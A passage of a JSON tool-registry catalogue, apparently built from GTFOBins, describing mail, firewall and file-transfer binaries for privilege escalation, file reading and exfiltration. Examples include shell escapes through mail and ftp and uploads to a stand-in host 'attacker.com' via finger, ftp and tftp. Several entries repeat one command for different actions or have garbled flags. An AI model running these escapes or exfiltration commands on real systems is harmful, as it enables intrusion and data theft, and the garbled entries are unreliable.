  },
  {
    "_body": "\n# Alpine — Email Client\n\nAlpine is a text-based email client. When invoked with the `-F` flag, it can open and display the content of arbitrary files in its terminal interface, making it useful for file read operations when used with elevated privileges.\n\n## File Read\n\n```bash\nalpine -F /path/to/input-file\n```\n",
    "_source": "alpine.md",
    "allowed-tools": [
      "alpine",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "system.file.content",
        "description": "File content displayed in the terminal interface",
        "mime": "text/plain",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "network.email.client"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to read"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content displayed in terminal",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Alpine email client that can read arbitrary files when invoked with the -F flag.",
    "examples": [
      {
        "description": "Read an arbitrary file displayed in the alpine terminal interface",
        "command": "alpine -F /path/to/input-file"
      }
    ],
    "execution": {
      "template": "alpine {F}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "remote"
    ],
    "global_vars": {},
    "id": "network-email-alpine",
    "install": [
      {
        "method": "apt",
        "package_name": "alpine",
        "commands": [
          "apt-get install -y alpine"
        ]
      }
    ],
    "name": "alpine",
    "namespace": "network:email:alpine",
    "parameters": [
      {
        "name": "F",
        "type": "file",
        "required": false,
        "description": "Open a file for reading in the terminal interface",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Alpine documentation",
        "url": "https://alpineapp.email/"
      }
    ],
    "related_tools": [
      "mutt",
      "mail"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n\n# mail — GNU Mail Processor\n\nmail reads and sends email. The GNU version can execute shell commands via the `--exec` flag or from the interactive prompt with `!`. Useful for privilege escalation when used with sudo or SUID.\n",
    "_source": "mail.md",
    "allowed-tools": [
      "mail",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "network.email.client"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU mail processor that can spawn a shell via exec flag or mail interactive mode.",
    "examples": [
      {
        "description": "Spawn interactive shell via --exec flag",
        "command": "mail --exec='!/bin/sh'"
      },
      {
        "description": "Spawn shell via interactive mail command",
        "command": "mail -f /etc/hosts\n!/bin/sh"
      }
    ],
    "execution": {
      "template": "mail {exec} {f}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-email-mail",
    "install": [
      {
        "method": "apt",
        "package_name": "mailutils",
        "commands": [
          "apt-get install -y mailutils"
        ]
      }
    ],
    "name": "mail",
    "namespace": "network:email:mail",
    "parameters": [
      {
        "name": "exec",
        "type": "string",
        "required": false,
        "description": "Execute command after processing",
        "aliases": [
          "--exec"
        ],
        "flag": "--exec"
      },
      {
        "name": "f",
        "type": "file",
        "required": false,
        "description": "Read mailbox from file",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "mailx man page",
        "url": "https://man7.org/linux/man-pages/man1/mailx.1.html"
      }
    ],
    "related_tools": [
      "alpine",
      "mutt"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "mutt.md",
    "allowed-tools": [
      "mutt",
      "mail",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Terminal email client, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via mutt",
        "command": "mutt -f /path/to/file"
      },
      {
        "description": "Execute command via mutt",
        "command": "mutt -f /path/to/file"
      }
    ],
    "execution": {
      "template": "mutt -f /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-email-mutt",
    "install": [
      {
        "method": "apt",
        "package_name": "mutt",
        "commands": [
          "apt-get install -y mutt"
        ]
      }
    ],
    "name": "mutt",
    "namespace": "network:email:mutt",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/mutt/"
      }
    ],
    "related_tools": [
      "mail",
      "alpine"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "procmail.md",
    "allowed-tools": [
      "procmail",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Mail processing tool, can execute commands via recipes.",
    "examples": [
      {
        "description": "Execute command via procmail recipe",
        "command": "procmail /path/to/rcfile"
      }
    ],
    "execution": {
      "template": "procmail /path/to/rcfile",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-email-procmail",
    "install": [
      {
        "method": "apt",
        "package_name": "procmail",
        "commands": [
          "apt-get install -y procmail"
        ]
      }
    ],
    "name": "procmail",
    "namespace": "network:email:procmail",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/procmail/"
      }
    ],
    "related_tools": [
      "mutt",
      "mail"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# finger\n\nfinger is a command-line utility. User information lookup service; can read arbitrary files Can also download files, upload files.\n",
    "_source": "finger.md",
    "allowed-tools": [
      "finger"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "User information lookup service; can read arbitrary files Can also download files, upload files.",
    "examples": [
      {
        "description": "Download files",
        "command": "finger x@attacker.com"
      },
      {
        "description": "Upload files",
        "command": "finger DATA@attacker.com"
      }
    ],
    "execution": {
      "template": "finger",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-finger-finger",
    "install": [
      {
        "method": "apt",
        "package_name": "finger",
        "commands": [
          "apt-get install -y finger"
        ]
      }
    ],
    "name": "finger",
    "namespace": "network:finger:finger",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/finger/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# iptables — Administration tool for IPv4 firewall rules\n\n## Overview\n\n`iptables` is a command-line utility for administration tool for ipv4 firewall rules.\n\n## Usage\n\n```\niptables -A {append} -C {check} -D {delete} -D {delete-2} -I {insert}\n```\n",
    "_source": "iptables.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.firewall.iptables"
    ],
    "description": "Administration tool for IPv4 firewall rules",
    "examples": [
      {
        "description": "Basic usage with append",
        "command": "iptables ${append}"
      },
      {
        "description": "Display help message",
        "command": "iptables --help"
      }
    ],
    "execution": {
      "template": "iptables -A {append} -C {check} -D {delete} -D {delete-2} -I {insert}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote",
      "network-intensive",
      "requires-root"
    ],
    "id": "network-firewall-iptables",
    "install": [
      {
        "method": "apt",
        "package_name": "iptables",
        "commands": [
          "apt-get install -y iptables"
        ]
      }
    ],
    "name": "iptables",
    "namespace": "network:firewall:iptables",
    "parameters": [
      {
        "name": "E",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-E",
          "-chain",
          "-chain"
        ],
        "flag": "-E"
      },
      {
        "name": "X",
        "type": "boolean",
        "required": false,
        "description": "chain",
        "aliases": [
          "-X",
          "-defined"
        ],
        "flag": "-X"
      },
      {
        "name": "append",
        "template_key": "append",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Append to chain",
        "aliases": [
          "-A",
          "--append"
        ],
        "flag": "-A"
      },
      {
        "name": "check",
        "template_key": "check",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Check for the existence of a rule",
        "aliases": [
          "-C",
          "--check"
        ],
        "flag": "-C"
      },
      {
        "name": "delete",
        "template_key": "delete",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Delete matching rule from chain",
        "aliases": [
          "-D",
          "--delete"
        ],
        "flag": "-D"
      },
      {
        "name": "delete-2",
        "template_key": "delete-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Delete rule rulenum (1 = first) from chain",
        "aliases": [
          "-D",
          "--delete"
        ],
        "flag": "-D"
      },
      {
        "name": "delete-chain",
        "template_key": "delete-chain",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-X [chain] Delete a user-defined chain",
        "aliases": [
          "--delete-chain"
        ],
        "flag": "--delete-chain"
      },
      {
        "name": "exact",
        "template_key": "exact",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-x expand numbers (display exact values)",
        "aliases": [
          "--exact"
        ],
        "flag": "--exact"
      },
      {
        "name": "flush",
        "template_key": "flush",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Delete all rules in chain or all chains",
        "aliases": [
          "-F",
          "--flush"
        ],
        "flag": "-F"
      },
      {
        "name": "goto",
        "template_key": "goto",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-g chain",
        "aliases": [
          "--goto"
        ],
        "flag": "--goto"
      },
      {
        "name": "insert",
        "template_key": "insert",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Insert in chain as rulenum (default 1=first)",
        "aliases": [
          "-I",
          "--insert"
        ],
        "flag": "-I"
      },
      {
        "name": "ipv4",
        "template_key": "ipv4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-4 Nothing (line is ignored by ip6tables-restore)",
        "aliases": [
          "--ipv4"
        ],
        "flag": "--ipv4"
      },
      {
        "name": "ipv6",
        "template_key": "ipv6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-6 Error (line is ignored by iptables-restore)",
        "aliases": [
          "--ipv6"
        ],
        "flag": "--ipv6"
      },
      {
        "name": "jump",
        "template_key": "jump",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-j target",
        "aliases": [
          "--jump"
        ],
        "flag": "--jump"
      },
      {
        "name": "line-numbers",
        "template_key": "line-numbers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print line numbers when listing",
        "aliases": [
          "--line-numbers"
        ],
        "flag": "--line-numbers"
      },
      {
        "name": "list",
        "template_key": "list",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-L [chain [rulenum]]",
        "aliases": [
          "--list"
        ],
        "flag": "--list"
      },
      {
        "name": "list-rules",
        "template_key": "list-rules",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print the rules in a chain or all chains",
        "aliases": [
          "-S",
          "--list-rules"
        ],
        "flag": "-S"
      },
      {
        "name": "match",
        "template_key": "match",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-m match",
        "aliases": [
          "--match"
        ],
        "flag": "--match"
      },
      {
        "name": "modprobe",
        "template_key": "modprobe",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "try to insert modules using this command",
        "aliases": [
          "--modprobe"
        ],
        "flag": "--modprobe"
      },
      {
        "name": "new",
        "template_key": "new",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-N chain Create a new user-defined chain",
        "aliases": [
          "--new"
        ],
        "flag": "--new"
      },
      {
        "name": "numeric",
        "template_key": "numeric",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "-n numeric output of addresses and ports",
        "aliases": [
          "--numeric"
        ],
        "flag": "--numeric"
      },
      {
        "name": "policy",
        "template_key": "policy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Change policy on chain to target",
        "aliases": [
          "-P",
          "--policy"
        ],
        "flag": "-P"
      },
      {
        "name": "rename-chain",
        "template_key": "rename-chain",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-E old-chain new-chain Change chain name, (moving any references)",
        "aliases": [
          "--rename-chain"
        ],
        "flag": "--rename-chain"
      },
      {
        "name": "replace",
        "template_key": "replace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Replace rule rulenum (1 = first) in chain",
        "aliases": [
          "-R",
          "--replace"
        ],
        "flag": "-R"
      },
      {
        "name": "set-counters",
        "template_key": "set-counters",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set the counter during insert/append",
        "aliases": [
          "-c",
          "--set-counters"
        ],
        "flag": "-c"
      },
      {
        "name": "table",
        "template_key": "table",
        "type": "string",
        "required": false,
        "default_value": "`filter'",
        "description": "-t table table to manipulate",
        "aliases": [
          "--table"
        ],
        "flag": "--table"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-v verbose mode",
        "aliases": [
          "--verbose"
        ],
        "flag": "--verbose"
      },
      {
        "name": "wait",
        "template_key": "wait",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "-w [seconds] maximum wait to acquire xtables lock before give up",
        "aliases": [
          "--wait"
        ],
        "flag": "--wait"
      },
      {
        "name": "zero",
        "template_key": "zero",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-Z [chain [rulenum]]",
        "aliases": [
          "--zero"
        ],
        "flag": "--zero"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "network-manipulation",
      "discovery",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "iptables-save.md",
    "allowed-tools": [
      "iptables-save",
      "iptables",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Save iptables rules, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via iptables-save",
        "command": "iptables-save /path/to/file"
      },
      {
        "description": "Execute command via iptables-save",
        "command": "iptables-save /path/to/file"
      }
    ],
    "execution": {
      "template": "iptables-save /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-firewall-iptables-save",
    "install": [
      {
        "method": "apt",
        "package_name": "iptables",
        "commands": [
          "apt-get install -y iptables"
        ]
      }
    ],
    "name": "iptables-save",
    "namespace": "network:firewall:iptables-save",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/iptables-save/"
      }
    ],
    "related_tools": [
      "iptables",
      "ip6tables"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nft.md",
    "allowed-tools": [
      "nft",
      "iptables",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "nftables rule manager, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via nft",
        "command": "nft -f /path/to/file"
      },
      {
        "description": "Execute command via nft",
        "command": "nft -f /path/to/file"
      }
    ],
    "execution": {
      "template": "nft -f /path/to/rules",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-firewall-nft",
    "install": [
      {
        "method": "apt",
        "package_name": "nftables",
        "commands": [
          "apt-get install -y nftables"
        ]
      }
    ],
    "name": "nft",
    "namespace": "network:firewall:nft",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nft/"
      }
    ],
    "related_tools": [
      "iptables",
      "ip"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# ftp\n\nftp is a command-line utility. File Transfer Protocol client; can transfer files and spawn shells Can also download files, spawn an interactive shell, upload files.\n",
    "_source": "ftp.md",
    "allowed-tools": [
      "ftp"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "security.privilege-escalation.shell",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "File Transfer Protocol client; can transfer files and spawn shells Can also download files, spawn an interactive shell, upload files.",
    "examples": [
      {
        "description": "Download files",
        "command": "ftp -a attacker.com\nget /path/to/input-file output-file"
      },
      {
        "description": "Spawn an interactive shell",
        "command": "ftp\n!/bin/sh"
      },
      {
        "description": "Upload files",
        "command": "ftp -a attacker.com\nput /path/to/input-file output-file"
      }
    ],
    "execution": {
      "template": "ftp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "process-manip",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-ftp-ftp",
    "install": [
      {
        "method": "apt",
        "package_name": "ftp",
        "commands": [
          "apt-get install -y ftp"
        ]
      }
    ],
    "mitre_ids": [
      "T1005",
      "T1048",
      "T1074",
      "T1114"
    ],
    "name": "ftp",
    "namespace": "network:ftp:ftp",
    "parameters": [
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces tnftp to only use IPv4 addresses",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces tnftp to only use IPv6 addresses",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Causes tnftp to bypass normal login procedure, and use an",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "to bufsize bytes. The default bufsize is 16384 (16 KiB)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enables debugging",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disables command line editing. This is useful for Emacs",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces a cache reload for transfers that go through the FTP",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disables file name globbing",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-H",
        "template_key": "flag-h",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Include the provided header string as a custom HTTP header",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Turns off interactive prompting during multiple file trans-",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-N",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use netrc instead of ~/.netrc. Refer to \"THE .netrc FILE\"",
        "aliases": [
          "-N"
        ],
        "flag": "-N"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Restrains tnftp from attempting \"auto-login\" upon initial",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "When auto-fetching files, save the contents in output",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Sets the port number to port",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable passive mode operation for use behind connection fil-",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Quit if the connection has stalled for quittime seconds",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Retry the connection attempt if it failed, pausing for retry",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enables packet tracing",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Set the maximum transfer rate for direction to maximum bytes/second, and if specified, the increment to increment bytes/second. Refer to rate for more information",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Upload files on the command line to url where url is one of the `ftp://' URL types as supported by auto-fetch (with an optional target filename for single file uploads), and file is one or more local files to be uploaded",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable verbose and progress. This is the default if output",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set the size of the socket send and receive buffers to xfersize bytes. Refer to xferbuf for more information",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-?",
        "template_key": "flag",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display help to stdout, and exit",
        "aliases": [
          "-?"
        ],
        "flag": "-?"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ftp/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "privilege-escalation",
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tftp\n\ntftp is a command-line utility. Trivial File Transfer Protocol client; can also download files, upload files.\n",
    "_source": "tftp.md",
    "allowed-tools": [
      "tftp"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Trivial File Transfer Protocol client; can transfer files and spawn shells.",
    "examples": [
      {
        "description": "Download files (sudo, suid, unprivileged)",
        "command": "tftp attacker.com\nget /path/to/input-file"
      },
      {
        "description": "Upload files (sudo, suid, unprivileged)",
        "command": "tftp attacker.com\nput /path/to/input-file"
      }
    ],
    "execution": {
      "template": "tftp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "network-ftp-tftp",
    "install": [
      {
        "method": "apt",
        "package_name": "tftp-hpa",
        "commands": [
          "apt-get install -y tftp-hpa"
        ]
      }
    ],
    "mitre_ids": [
      "T1005",
      "T1048",
      "T1074",
      "T1114"
    ],
    "name": "tftp",
